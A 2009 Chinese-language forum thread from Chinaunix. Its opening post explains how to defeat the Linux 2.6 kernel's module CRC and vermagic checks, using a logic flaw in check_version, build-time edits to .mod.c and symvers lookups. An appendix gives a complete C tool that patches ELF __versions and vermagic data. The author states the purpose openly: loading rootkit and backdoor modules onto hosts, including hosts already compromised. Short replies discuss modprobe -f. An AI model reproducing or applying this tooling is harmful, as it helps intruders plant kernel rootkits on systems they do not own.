免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
1234下一页
最近访问板块 发新帖
查看: 134382 | 回复: 33
打印 上一主题 下一主题

突破linux内核模块验证 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-12-25 10:55 |只看该作者 |倒序浏览
本篇文章是讲内核安全方面的, 不感兴趣的同学可绕过, 文章写的比较仓促, 有问题的话, 欢迎指出。

Bypassing Linux kernel module version check

By wzt

1、 为什么要突破模块验证
2、 内核是怎么实现的
3、 怎样去突破
4、 总结
5、 参考
6、 附录


1、 为什么要突破模块验证
    Linux内核版本很多,升级很快,2个小内核版本中内核函数的定义可能都不一样,为了确保不一致的驱动程序导致kernel oops,
    开发者加入了模块验证机制。它在加载内核模块的时候对模块进行校验, 如果模块与主机的一些环境不一致,就会加载不成功。
    看下面一个例子,它简单的输出当期系统中的模块列表:

  1. #include <linux/kernel.h>
  2. #include <linux/module.h>
  3. #include <linux/init.h>
  4. #include <linux/version.h>
  5. #include <linux/string.h>
  6. #include <linux/list.h>

  7. MODULE_LICENSE("GPL");
  8. MODULE_AUTHOR("wzt");

  9. struct module *m = &__this_module;

  10. int print_module_test(void)
  11. {
  12.         struct module *mod;

  13.         list_for_each_entry(mod, &m->list, list) {
  14.                 printk("%s\n", mod->name);
  15.         }
  16.         return NULL;
  17. }

  18. static int list_print_init(void)
  19. {
  20.         printk("load list_print module.\n");

  21.         print_module_test();

  22.         return 0;
  23. }

  24. static void list_print_exit(void)
  25. {
  26.         printk("unload list_print module.\n");
  27. }

  28. module_init(list_print_init);
  29. module_exit(list_print_exit);
复制代码

我们在centos5.3环境中编译一下:

  1. [root@localhost list]# uname -a
  2. Linux localhost.localdomain 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST 2009 i686 i686 i386 GNU/Linux
复制代码

然后拷贝到另一台主机centos5.1xen上:

  1. [root@localhost ~]# uname -a
  2. Linux localhost.localdomain 2.6.18-53.el5xen #1 SMP Mon Nov 12 03:26:12 EST 2007 i686 i686 i386 GNU/Linux
复制代码

用insmod加载:

  1. [root@localhost ~]# insmod list.ko
  2. insmod: error inserting 'list.ko': -1 Invalid module format
复制代码

报错了,在看下dmesg的信息:

  1. [root@localhost ~]# dmesg|tail -n 1
  2. list: disagrees about version of symbol struct_module
复制代码

先不管这是什么, 总之我们的模块在另一台2.6.18的主机中加载失败。 通常的做法是要在主机中对源代码进行编译,
然后才能加载成功, 但是如果主机中缺少内核编译环境的话, 我们的rootkit就不能编译, 也不能安装在主机之中,
这是多么尴尬的事情。 没错, 这就是linux kernel开发的特点, 你别指望像windows驱动一样,编译一个驱动,
然后可以满世界去装^_^. 一些rootkit开发者抛弃了lkm类型rk的开发, 转而去打kmem, mem的注意,像sk,
moodnt这样的rk大家都喜欢, 可以在用户层下动态patch内核,不需要编译环境, wget下来,install即可。
但是它也有很多缺点,比如很不稳定,而且在2.6.x后内核已经取消了kmem这个设备, mem文件也做了映射和读写的
限制。 rk开发者没法继续sk的神话了。反过来, 如果我们的lkm后门不需要编译环境,也可以达到直接insmod的目的,
这是件多么美好的事情,而且lkm后门更加稳定,还不用像sk在内核中添加了很多自己的数据结构。


2、内核是怎么实现的
   我们去看看内核在加载模块的时候都干了什么, 或许我们可以发现点bug, 然后做点手脚,欺骗过去:)
   grep下dmesg里的关键字, 看看它在哪个文件中:

  1. [root@localhost linux-2.6.18]# grep -r -i 'disagrees about' kernel/
  2. kernel/module.c:                printk("%s: disagrees about version of symbol %s\n",
复制代码

2.6.18/kernel/module.c:
insmod调用了sys_init_module这个系统调用, 然后进入load_module这个主函数,它解析elf格式的ko文件,然后加载
到内核中:

  1. /* Allocate and load the module: note that size of section 0 is always
  2.    zero, and we rely on this for optional sections. */
  3. static struct module *load_module(void __user *umod,
  4.                                   unsigned long len,
  5.                                   const char __user *uargs)
  6. {
  7. ...
  8.         if (!check_modstruct_version(sechdrs, versindex, mod)) {
  9.                 err = -ENOEXEC;
  10.                 goto free_hdr;
  11.         }

  12.         modmagic = get_modinfo(sechdrs, infoindex, "vermagic");
  13.         /* This is allowed: modprobe --force will invalidate it. */
  14.         if (!modmagic) {
  15.                 add_taint(TAINT_FORCED_MODULE);
  16.                 printk(KERN_WARNING "%s: no version magic, tainting kernel.\n",
  17.                        mod->name);
  18.         } else if (!same_magic(modmagic, vermagic)) {
  19.                 printk(KERN_ERR "%s: version magic '%s' should be '%s'\n",
  20.                        mod->name, modmagic, vermagic);
  21.                 err = -ENOEXEC;
  22.                 goto free_hdr;
  23.         }
  24. ...
  25. }
复制代码

check_modstruct_version就是用来计算模块符号的一些crc值,不相同就会出现我们在dmesg里看到的
“disagrees about version of symbol”信息。 get_modinfo取得了内核本身的vermagic值,然后用same_magic
函数和内核的vermagic去比较,不同也会使内核加载失败。 所以在这里,我们看到内核对模块验证的时候采用了
2层验证的方法:模块crc值和vermagic检查。

继续跟踪check_modstruct_version, 现在的内核默认的都开启了CONFIG_MODVERSIONS, 如果没有指定这个选项,
函数为空,我们的目的是要在As, Centos下安装模块,redhat不是吃干饭的, 当然开了MODVERSIONS选项。

  1. static inline int check_modstruct_version(Elf_Shdr *sechdrs,
  2.                                           unsigned int versindex,
  3.                                           struct module *mod)
  4. {
  5.         const unsigned long *crc;
  6.         struct module *owner;

  7.         if (!__find_symbol("struct_module", &owner, &crc, 1))
  8.                 BUG();
  9.         return check_version(sechdrs, versindex, "struct_module", mod,
  10.                              crc);
  11. }
复制代码

__find_symbol找到了struct_module这个符号的crc值,然后调用check_version去校验:

  1. static int check_version(Elf_Shdr *sechdrs,
  2.                          unsigned int versindex,
  3.                          const char *symname,
  4.                          struct module *mod,
  5.                          const unsigned long *crc)
  6. {
  7.         unsigned int i, num_versions;
  8.         struct modversion_info *versions;

  9.         /* Exporting module didn't supply crcs?  OK, we're already tainted. */
  10.         if (!crc)
  11.                 return 1;

  12.         versions = (void *) sechdrs[versindex].sh_addr;
  13.         num_versions = sechdrs[versindex].sh_size
  14.                 / sizeof(struct modversion_info);

  15.         for (i = 0; i < num_versions; i++) {
  16.                 if (strcmp(versions[i].name, symname) != 0)
  17.                         continue;

  18.                 if (versions[i].crc == *crc)
  19.                         return 1;
  20.                 printk("%s: disagrees about version of symbol %s\n",
  21.                        mod->name, symname);
  22.                 DEBUGP("Found checksum %lX vs module %lX\n",
  23.                        *crc, versions[i].crc);
  24.                 return 0;
  25.         }
  26.         /* Not in module's version table.  OK, but that taints the kernel. */
  27.         if (!(tainted & TAINT_FORCED_MODULE)) {
  28.                 printk("%s: no version for \"%s\" found: kernel tainted.\n",
  29.                        mod->name, symname);
  30.                 add_taint(TAINT_FORCED_MODULE);
  31.         }
  32.         return 1;
  33. }
复制代码

它搜寻elf的versions小节, 循环遍历数组中的每个符号表,找到struct_module这个符号,然后去比较crc的值。
现在有个疑问, versions小节是怎么链接到模块的elf文件中去的呢?  在看下编译后的生成文件, 有一个list.mod.c

  1. [root@localhost list]# cat list.mod.c
  2. #include <linux/module.h>
  3. #include <linux/vermagic.h>
  4. #include <linux/compiler.h>

  5. MODULE_INFO(vermagic, VERMAGIC_STRING);

  6. struct module __this_module
  7. __attribute__((section(".gnu.linkonce.this_module"))) = {
  8. .name = KBUILD_MODNAME,
  9. .init = init_module,
  10. #ifdef CONFIG_MODULE_UNLOAD
  11. .exit = cleanup_module,
  12. #endif
  13. };

  14. static const struct modversion_info ____versions[]
  15. __attribute_used__
  16. __attribute__((section("__versions"))) = {
  17.         { 0x89e24b9c, "struct_module" },
  18.         { 0x1b7d4074, "printk" },
  19. };

  20. static const char __module_depends[]
  21. __attribute_used__
  22. __attribute__((section(".modinfo"))) =
  23. "depends=";


  24. MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");
复制代码

这个文件是模块在编译的时候,调用了linux-2.6.18/scripts/modpost这个文件生成的。
里面增加了2个小节.gnu.linkonce.this_module和__versions。 __versions小节的内容就是
一些字符串和值组成的数组,check_version就是解析这个小节去做验证。 这里还有一个
MODULE_INFO宏用来生成模块的magic字符串,这个在以后的vermagic中要做验证。

先看下vermagic的格式:

  1. [root@localhost list]# modinfo list.ko
  2. filename:       list.ko
  3. author:         wzt
  4. license:        GPL
  5. srcversion:     26DB52D8A56205333D414B9
  6. depends:        
  7. vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1
复制代码

这里可以看到vermagic跟内核版本,smp,gcc版本,内核堆栈大小都有关。

  1. /* First part is kernel version, which we ignore. */
  2. static inline int same_magic(const char *amagic, const char *bmagic)
  3. {
  4.         amagic += strcspn(amagic, " ");
  5.         bmagic += strcspn(bmagic, " ");
  6.         return strcmp(amagic, bmagic) == 0;
  7. }
复制代码

same_magic忽略了对内核版本的判断, 直接比较后面的值。

3、怎样去突破

  知道了内核是怎么实现的了, 下面开始想办法绕过这些验证:)

  3.1 怎么突破crc验证:
  
  在仔细看下代码:

  1.         for (i = 0; i < num_versions; i++) {
  2.                 if (strcmp(versions[i].name, symname) != 0)
  3.                         continue;

  4.                 if (versions[i].crc == *crc)
  5.                         return 1;
  6.                 printk("%s: disagrees about version of symbol %s\n",
  7.                        mod->name, symname);
  8.                 DEBUGP("Found checksum %lX vs module %lX\n",
  9.                        *crc, versions[i].crc);
  10.                 return 0;
  11.         }
  12.         /* Not in module's version table.  OK, but that taints the kernel. */
  13.         if (!(tainted & TAINT_FORCED_MODULE)) {
  14.                 printk("%s: no version for \"%s\" found: kernel tainted.\n",
  15.                        mod->name, symname);
  16.                 add_taint(TAINT_FORCED_MODULE);
  17.         }
  18.         return 1;
复制代码

check_version在循环中只是在寻找struct_module符号, 如果没找到呢? 它会直接返回1!  没错, 这是一个
逻辑bug,在正常情况下,module必会有一个struct_module的符号, 这是modpost生成的。如果我们修改elf文件,
把struct_module这个符号改名,岂不是就可以绕过crc验证了吗? 先做个实验看下:
.mod.c是由modpost这个工具生成的, 它在linux-2.6.18/scripts/Makefile.modpost文件中被调用, 去看下:

  1. PHONY += __modpost
  2. __modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
  3.         $(call cmd,modpost)
复制代码

我们用一个很土的方法, 就是在编译模块的时候,modpost生成.mod.c文件后, 暂停下编译,sleep 30秒吧,我们用
这个时间去改写下.mod.c, 把struct_module换个名字。

  1. PHONY += __modpost
  2. __modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
  3.         $(call cmd,modpost)
  4.         @sleep 30
复制代码

随便将struct_module改个名:

  1. [root@localhost list]# cat list.mod.c
  2. #include <linux/module.h>
  3. #include <linux/vermagic.h>
  4. #include <linux/compiler.h>

  5. MODULE_INFO(vermagic, VERMAGIC_STRING);

  6. struct module __this_module
  7. __attribute__((section(".gnu.linkonce.this_module"))) = {
  8. .name = KBUILD_MODNAME,
  9. .init = init_module,
  10. #ifdef CONFIG_MODULE_UNLOAD
  11. .exit = cleanup_module,
  12. #endif
  13. };

  14. static const struct modversion_info ____versions[]
  15. __attribute_used__
  16. __attribute__((section("__versions"))) = {
  17.         { 0x89e24b9c, "stauct_module" },
  18.         { 0x1b7d4074, "printk" },
  19. };

  20. static const char __module_depends[]
  21. __attribute_used__
  22. __attribute__((section(".modinfo"))) =
  23. "depends=";

  24. MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");
复制代码

我们是在centos5.3下编译的, 然后拷贝到centos5.1下, 在执行下insmod看下:

  1. [root@localhost ~]# insmod list.ko
  2. [root@localhost ~]# dmesg|tail
  3. ata_piix
  4. libata
  5. sd_mod
  6. scsi_mod
  7. ext3
  8. jbd
  9. ehci_hcd
  10. ohci_hcd
  11. uhci_hcd
复制代码

成功了! 这跟我们预期的一样, 我们用这个逻辑bug绕过了模块的crc验证! 这个bug直到2.6.31版本中
才得到修正。 我们可以用这种方法在redhat主机中任意安装模块了。 那么怎样绕过在2.6.31以后的内核呢?
看下它是怎么修补的:

  1.         for (i = 0; i < num_versions; i++) {
  2.                 if (strcmp(versions[i].name, symname) != 0)
  3.                         continue;

  4.                 if (versions[i].crc == *crc)
  5.                         return 1;
  6.                 DEBUGP("Found checksum %lX vs module %lX\n",
  7.                        *crc, versions[i].crc);
  8.                 goto bad_version;
  9.         }

  10.         printk(KERN_WARNING "%s: no symbol version for %s\n",
  11.                mod->name, symname);
  12.         return 0;

  13. bad_version:
  14.         printk("%s: disagrees about version of symbol %s\n",
  15.                mod->name, symname);

  16.         return 0;
复制代码

如果没找到struct_module也会返回0, 这样我们就必须将struct_module的值改为正确后, 才能继续安装。
如何找到模块符号的crc值呢? 我们可以去找目标主机中那些已被系统加载的模块的crc值,如ext3文件系统
的模块, 自己写个程序去解析elf文件, 就可以得到某些符号的crc值了。
还有没有更简单的方法呢?去/boot目录下看看,symvers-2.6.18-128.el5.gz貌似和crc有关,gunzip解压后看看:

  1. [root@localhost boot]# grep 'struct_module' symvers-2.6.18-128.el5
  2. 0x89e24b9c      struct_module   vmlinux EXPORT_SYMBOL
复制代码

原来内核中所有符号的crc值都保存在这个文件中。如何改写struct_module的值呢,可以用上面那个土方法,
或者自己写程序去解析elf文件, 然后改写其值。本文最后附上一个小程序用来修改elf的符号和crc值。

3.2 如何突破vermagic验证:
   如果我们用list.mod.c中的做法, 用MODULE_INFO宏来生成一个与目标主机相同的vermagic呢? 答案是
否定的,gcc链接的时候会把modinfo小节链接在最后,加载模块的时候还是会读取第一个.modinfo小节。
我们可以用上面那种很土的方法, 先用modinfo命令得到目标主机中某个模块的信息:

  1. [root@localhost list]# modinfo /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
  2. filename:       /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
  3. license:        GPL
  4. description:    Second Extended Filesystem with journaling extensions
  5. author:         Remy Card, Stephen Tweedie, Andrew Morton, Andreas Dilger, Theodore Ts'o and others
  6. srcversion:     B048AC103E5034604A721C5
  7. depends:        jbd
  8. vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1
  9. module_sig:     883f3504977495e4f3f897cd3dced211288209f551cc1da557f96ea18d9a4efd6cfb0fc2612e009c8845fd776c825d586f492ceab19e17b2319da8f
复制代码

然后在用那个很土的方面, 将.mod.c中vermagic值进行修改。还有一种直接修改elf文件的方法,附录在本文后面。

4、总结
  前面有一点没有提到, 就是某些内核版本的相同接口的函数代码可能已经变化, 这样在使用这项技术的时候,
  最好在同一个大内核版本使用。你也可能感觉要想跨平台安装模块有些麻烦, 这里还有2个方法, 作为一个专业
  搞渗透的人来说,他会自己在本地装很多发行版本的linux,特别是root掉一台主机后,会在本地装一个一模一样
  的发行版本,smp、kernel stack size、gcc version都一样。在本地机器装上开发环境,这样编译出来的模块
  也是可以直接装到目标主机上的,但这很麻烦,因为linux有太多的发行版本了:), 另一个方法就是自己
  装一个linux,编译下内核,然后将build后的开发包集成到自己的后门里, 压缩后大概几m。 然后传到主机
  去解压,编译。庆幸的是,现在大多数主机中都有内核开发环境, 直接去主机编译就ok了。

5、参考
【1】 linux kernel source code
       http://www.kernel.org
【2】 module injection in 2.6 kernel - Coolq
       http://www.nsfocus.net/index.php ... o=view&mid=2533

[ 本帖最后由 W.Z.T 于 2009-12-25 11:00 编辑 ]

评分

参与人数 1可用积分 +6 收起 理由
liying_gg + 6 精品文章

查看全部评分

论坛徽章:
0
2 [报告]
发表于 2009-12-25 10:56 |只看该作者
6、附录


  1. /*
  2. * Linux kernel module fucker
  3. *
  4. * by wzt       <[email]wzt.wzt@gmail.com[/email]>
  5. *
  6. */

  7. #include <stdio.h>
  8. #include <string.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <fcntl.h>
  12. #include <elf.h>
  13. #include <sys/stat.h>
  14. #include <sys/mman.h>

  15. #define MODULE_NAME_LEN         (64 - sizeof(unsigned long))

  16. struct modversion_info
  17. {
  18.         unsigned long crc;
  19.         char name[MODULE_NAME_LEN];
  20. };

  21. Elf32_Ehdr *ehdr = NULL;
  22. Elf32_Phdr *phdr = NULL;
  23. Elf32_Shdr *shdr = NULL;
  24. Elf32_Shdr *shstrtab = NULL;
  25. Elf32_Sym *dynsym_ptr = NULL;
  26. Elf32_Sym *symtab_ptr = NULL;
  27. Elf32_Sym *dynstr_ptr = NULL;

  28. char *Real_strtab = NULL;
  29. char *dynstr = NULL;
  30. char *strtab_ptr = NULL;
  31. char dynstr_buffer[2048];   
  32. char strtab_buffer[4096];
  33. char *real_strtab = NULL;

  34. unsigned int shstrtab_off, shstrtab_len, shstrtab_num;
  35. unsigned int strtab_off, strtab_size;

  36. int elf_fd;
  37. struct stat f_stat;
  38.    
  39. void usage(char *pro)
  40. {
  41.         fprintf(stderr, "usage: %s <options> <module>\n\n", pro);
  42.         fprintf(stderr, "-w -v\tCheck vermgaic in module.\n");
  43.         fprintf(stderr, "-w -c\tCheck crc value in module.\n");
  44.         fprintf(stderr, "-s -v <new_vermagic>\tSet vermagic in module.\n");
  45.         fprintf(stderr, "-s -c\tSet crc value in module.\n");

  46.         exit(0);
  47. }

  48. int init_load_elf(char *elf_file)
  49. {
  50.         char buff[1024];

  51.         elf_fd = open(elf_file, O_RDWR);
  52.         if (elf_fd == -1) {
  53.                 perror("open");
  54.                 return 0;
  55.         }
  56.         fprintf(stderr, "[+] Open %s ok.\n", elf_file);

  57.         if (fstat(elf_fd, &f_stat) == -1) {
  58.                 perror("fstat");
  59.                 return 0;
  60.         }

  61.         ehdr = (Elf32_Ehdr *)mmap(NULL, f_stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, elf_fd, 0);
  62.         if(ehdr == MAP_FAILED) {
  63.                 perror("mmap");
  64.                 return 0;
  65.         }

  66.         phdr = (Elf32_Phdr *)((unsigned long)ehdr + ehdr->e_phoff);
  67.         shdr = (Elf32_Shdr *)((unsigned long)ehdr + ehdr->e_shoff);

  68.         shstrtab = &shdr[ehdr->e_shstrndx];
  69.         shstrtab_off = (unsigned int)shstrtab->sh_offset;
  70.         shstrtab_len = shstrtab->sh_size;

  71.         real_strtab = (char *)( (unsigned long)ehdr + shstrtab_off );

  72.         printf("[+] .Shstrtab Size :0x%x,%d\n", shstrtab->sh_size, shstrtab->sh_name);
  73.         printf("[+] .Shstrtab Off: 0x%x\n", shstrtab_off);

  74.         return 1;
  75. }

  76. int display_module_crc_info(void)
  77. {
  78.         struct modversion_info *versions;
  79.         char *buff = NULL;
  80.         unsigned int version_off, version_size, num_versions;
  81.         int i, j;

  82.         buff = (char *)malloc(shstrtab_len + 2);
  83.         if (!buff) {
  84.                 fprintf(stderr, "[-] Malloc failed.\n");
  85.                 return 0;
  86.         }

  87.         memcpy(buff, real_strtab, shstrtab_len + 1);
  88.         for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
  89.                 if (!strcmp(buff + shdr[i].sh_name,"__versions")){
  90.                         printf("[+] found section %s.\n", buff + shdr[i].sh_name);
  91.                         version_off = (unsigned int)shdr[i].sh_offset;
  92.                         version_size = (unsigned int)shdr[i].sh_size;
  93.                         printf("[+] version off: 0x%x\n", version_off);
  94.                         printf("[+] version size: 0x%x\n", version_size);
  95.                         break;
  96.                 }
  97.         }

  98.         printf("[+] %x,%x\n", (unsigned long)ehdr + version_off, shdr[i].sh_addr);
  99.         versions = (void *)((unsigned long)ehdr + version_off);
  100.         num_versions = version_size / sizeof(struct modversion_info);
  101.         printf("[+] num_versions: %d\n", num_versions);

  102.         for (j = 0; j < num_versions; j++) {
  103.                 printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
  104.         }

  105.         free(buff);
  106.         return 1;
  107. }

  108. int set_module_crc_info(void)
  109. {
  110.         struct modversion_info *versions;
  111.         char *buff = NULL;
  112.         unsigned int version_off, version_size, num_versions;
  113.         int i, j;

  114.         buff = (char *)malloc(shstrtab_len + 2);
  115.         if (!buff) {
  116.                 fprintf(stderr, "[-] Malloc failed.\n");
  117.                 return 0;
  118.         }

  119.         memcpy(buff, real_strtab, shstrtab_len + 1);
  120.         for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
  121.                 if (!strcmp(buff + shdr[i].sh_name,"__versions")){
  122.                         printf("[+] found section %s.\n", buff + shdr[i].sh_name);
  123.                         version_off = (unsigned int)shdr[i].sh_offset;
  124.                         version_size = (unsigned int)shdr[i].sh_size;
  125.                         printf("[+] version off: 0x%x\n", version_off);
  126.                         printf("[+] version size: 0x%x\n", version_size);
  127.                         break;
  128.                 }
  129.         }

  130.         printf("[+] %x,%x\n", (unsigned long)ehdr + version_off, shdr[i].sh_addr);
  131.         versions = (void *)((unsigned long)ehdr + version_off);
  132.         num_versions = version_size / sizeof(struct modversion_info);
  133.         printf("[+] num_versions: %d\n", num_versions);

  134.         for (j = 0; j < num_versions; j++) {
  135.                 printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
  136.                 if (!strcmp(versions[j].name, "struct_module")) {
  137.                         fprintf(stderr, "[+] Found symbol struct_module.\n");
  138.                         versions[j].name[0] = 'T';
  139.                         break;
  140.                 }
  141.         }

  142.         for (j = 0; j < num_versions; j++) {
  143.                 printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
  144.         }

  145.         free(buff);
  146.         return 1;
  147. }

  148. static char *next_string(char *string, unsigned long *secsize)
  149. {
  150.         /* Skip non-zero chars */
  151.         while (string[0]) {
  152.                 string++;
  153.                 if ((*secsize)-- <= 1)
  154.                         return NULL;
  155.         }

  156.         /* Skip any zero padding. */
  157.         while (!string[0]) {
  158.                 string++;
  159.                 if ((*secsize)-- <= 1)
  160.                         return NULL;
  161.         }
  162.         return string;
  163. }

  164. static char *get_modinfo(Elf32_Shdr *sechdrs, unsigned int info, const char *tag)
  165. {
  166.         char *p;
  167.         unsigned int taglen = strlen(tag);
  168.         unsigned long size = sechdrs[info].sh_size;

  169.         for (p = (char *)(ehdr +sechdrs[info].sh_offset); p; p = next_string(p, &size)) {
  170.                 if (strncmp(p, tag, taglen) == 0 && p[taglen] == '=')
  171.                         return p + taglen + 1;
  172.         }
  173.         return NULL;
  174. }

  175. int display_module_vermagic_info(void)
  176. {
  177.         char *buff, *p;
  178.         char *ver = "vermagic";
  179.         unsigned int taglen = strlen(ver);
  180.         int size, i;

  181.         buff = (char *)malloc(shstrtab_len + 2);
  182.         if (!buff) {
  183.                 fprintf(stderr, "[-] Malloc failed.\n");
  184.                 return 0;
  185.         }

  186.         memcpy(buff, real_strtab, shstrtab_len + 1);
  187.         for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
  188.                 if (!strcmp(buff + shdr[i].sh_name,".modinfo")){
  189.                         printf("[+] found section %s.\n", buff + shdr[i].sh_name);
  190.                         break;
  191.                 }
  192.         }

  193.         size = shdr[i].sh_size;
  194.         printf("[+] size: 0x%x.\n", size);

  195.         p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
  196.         printf("[+] 0x%08x\n", p);

  197.         for (; p; p = next_string(p, &size)) {
  198.                 printf("[+] %s\n", p);
  199.                 if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') {
  200.                         printf("[+] %s\n", p + taglen + 1);
  201.                         //memset(p + taglen + 1, 'A', 30);
  202.                 }
  203.         }

  204.         return 1;
  205. }

  206. int set_module_vermagic_info(char *new_vermagic)
  207. {
  208.         char *buff, *p;
  209.         char *ver = "vermagic";
  210.         unsigned int taglen = strlen(ver);
  211.         int size, i;

  212.         buff = (char *)malloc(shstrtab_len + 2);
  213.         if (!buff) {
  214.                 fprintf(stderr, "[-] Malloc failed.\n");
  215.                 return 0;
  216.         }

  217.         memcpy(buff, real_strtab, shstrtab_len + 1);
  218.         for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
  219.                 if (!strcmp(buff + shdr[i].sh_name,".modinfo")){
  220.                         printf("[+] found section %s.\n", buff + shdr[i].sh_name);
  221.                         break;
  222.                 }
  223.         }

  224.         size = shdr[i].sh_size;
  225.         printf("[+] size: 0x%x.\n", size);

  226.         p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
  227.         printf("[+] 0x%08x\n", p);

  228.         for (; p; p = next_string(p, &size)) {
  229.                 printf("[+] %s\n", p);
  230.                 if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') {
  231.                         printf("[+] %s\n", p + taglen + 1);
  232.                         if (strlen(p + taglen + 1) < strlen(new_vermagic)) {
  233.                                 printf("[-] New vermagic len must < current magic len.\n");
  234.                                 return 0;
  235.                         }
  236.                         memset(p + taglen + 1, '\0', strlen(new_vermagic));
  237.                         memcpy(p + taglen + 1, new_vermagic, strlen(new_vermagic));
  238.                 }
  239.         }

  240.         return 1;
  241. }

  242. int exit_elf_load(void)
  243. {
  244.         close(elf_fd);
  245.         if (munmap(ehdr, f_stat.st_size) == -1) {
  246.                 return 0;
  247.         }

  248.         return 1;
  249. }

  250. int main(int argc, char **argv)
  251. {
  252.         if (argc == 1) {
  253.                 usage(argv[0]);
  254.         }

  255.         if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-c")) {
  256.                 fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]);
  257.                 if (!init_load_elf(argv[3])) {
  258.                         fprintf(stderr, "[-] Init elf load failed.\n");
  259.                         return 0;
  260.                 }
  261.                 display_module_crc_info();
  262.                 exit_elf_load();
  263.         }
  264.         else if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-c")) {
  265.                 fprintf(stderr, "[+] Set %s module crc value.\n", argv[3]);
  266.                 if (!init_load_elf(argv[3])) {
  267.                         fprintf(stderr, "[-] Init elf load failed.\n");
  268.                         return 0;
  269.                 }
  270.                 set_module_crc_info();
  271.                 exit_elf_load();
  272.         }
  273.         if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-v")) {
  274.                 fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]);
  275.                 if (!init_load_elf(argv[3])) {
  276.                         fprintf(stderr, "[-] Init elf load failed.\n");
  277.                         return 0;
  278.                 }
  279.                 display_module_vermagic_info();
  280.                 exit_elf_load();
  281.         }
  282.         if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-v")) {
  283.                 fprintf(stderr, "[+] Display %s module crc value.\n", argv[4]);
  284.                 if (!init_load_elf(argv[4])) {
  285.                         fprintf(stderr, "[-] Init elf load failed.\n");
  286.                         return 0;
  287.                 }
  288.                 set_module_vermagic_info(argv[3]);
  289.                 exit_elf_load();
  290.         }
  291.         else {
  292.                 return 0;
  293.         }

  294. }
复制代码

论坛徽章:
0
3 [报告]
发表于 2009-12-25 11:19 |只看该作者
不错

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
4 [报告]
发表于 2009-12-25 12:19 |只看该作者
多谢LZ的好文。

论坛徽章:
0
5 [报告]
发表于 2009-12-25 15:34 |只看该作者
不同内核版本的公用结构却不能加载的确很烦
但是这样突破的话,一点基本防护都没有了,很容易 oops
个人建议,如果确实有必要的话可以 modprobe -f 加载

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
6 [报告]
发表于 2009-12-25 15:59 |只看该作者
个人建议,如果确实有必要的话可以 modprobe -f 加载

白金兄的意思是强制加载吗

论坛徽章:
0
7 [报告]
发表于 2009-12-25 16:41 |只看该作者
终于知道modpost是干嘛用的了

论坛徽章:
0
8 [报告]
发表于 2009-12-25 17:17 |只看该作者
原帖由 Godbach 于 2009-12-25 15:59 发表

白金兄的意思是强制加载吗

对呀,既然可以突破冲突检测而让系统很自然的加载而未告知用户可能有隐患,不如用户直接强制加载

论坛徽章:
0
9 [报告]
发表于 2009-12-25 17:52 |只看该作者
原帖由 platinum 于 2009-12-25 15:34 发表
不同内核版本的公用结构却不能加载的确很烦
但是这样突破的话,一点基本防护都没有了,很容易 oops
个人建议,如果确实有必要的话可以 modprobe -f 加载


如果modprobe -f能这么容易的加载的话,  我不就用费这么大劲来做内核校验技术的研究了~ 不知道兄弟试过没, 呵呵。

论坛徽章:
0
10 [报告]
发表于 2009-12-25 17:59 |只看该作者
原帖由 platinum 于 2009-12-25 15:34 发表
不同内核版本的公用结构却不能加载的确很烦
但是这样突破的话,一点基本防护都没有了,很容易 oops
个人建议,如果确实有必要的话可以 modprobe -f 加载


很容易oops?   呵呵, 不见得, 文章已经说的很清楚了, 大内核版本, 函数接口都不会变很多,尤其向AS5-92, AS5-128之类的版本。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

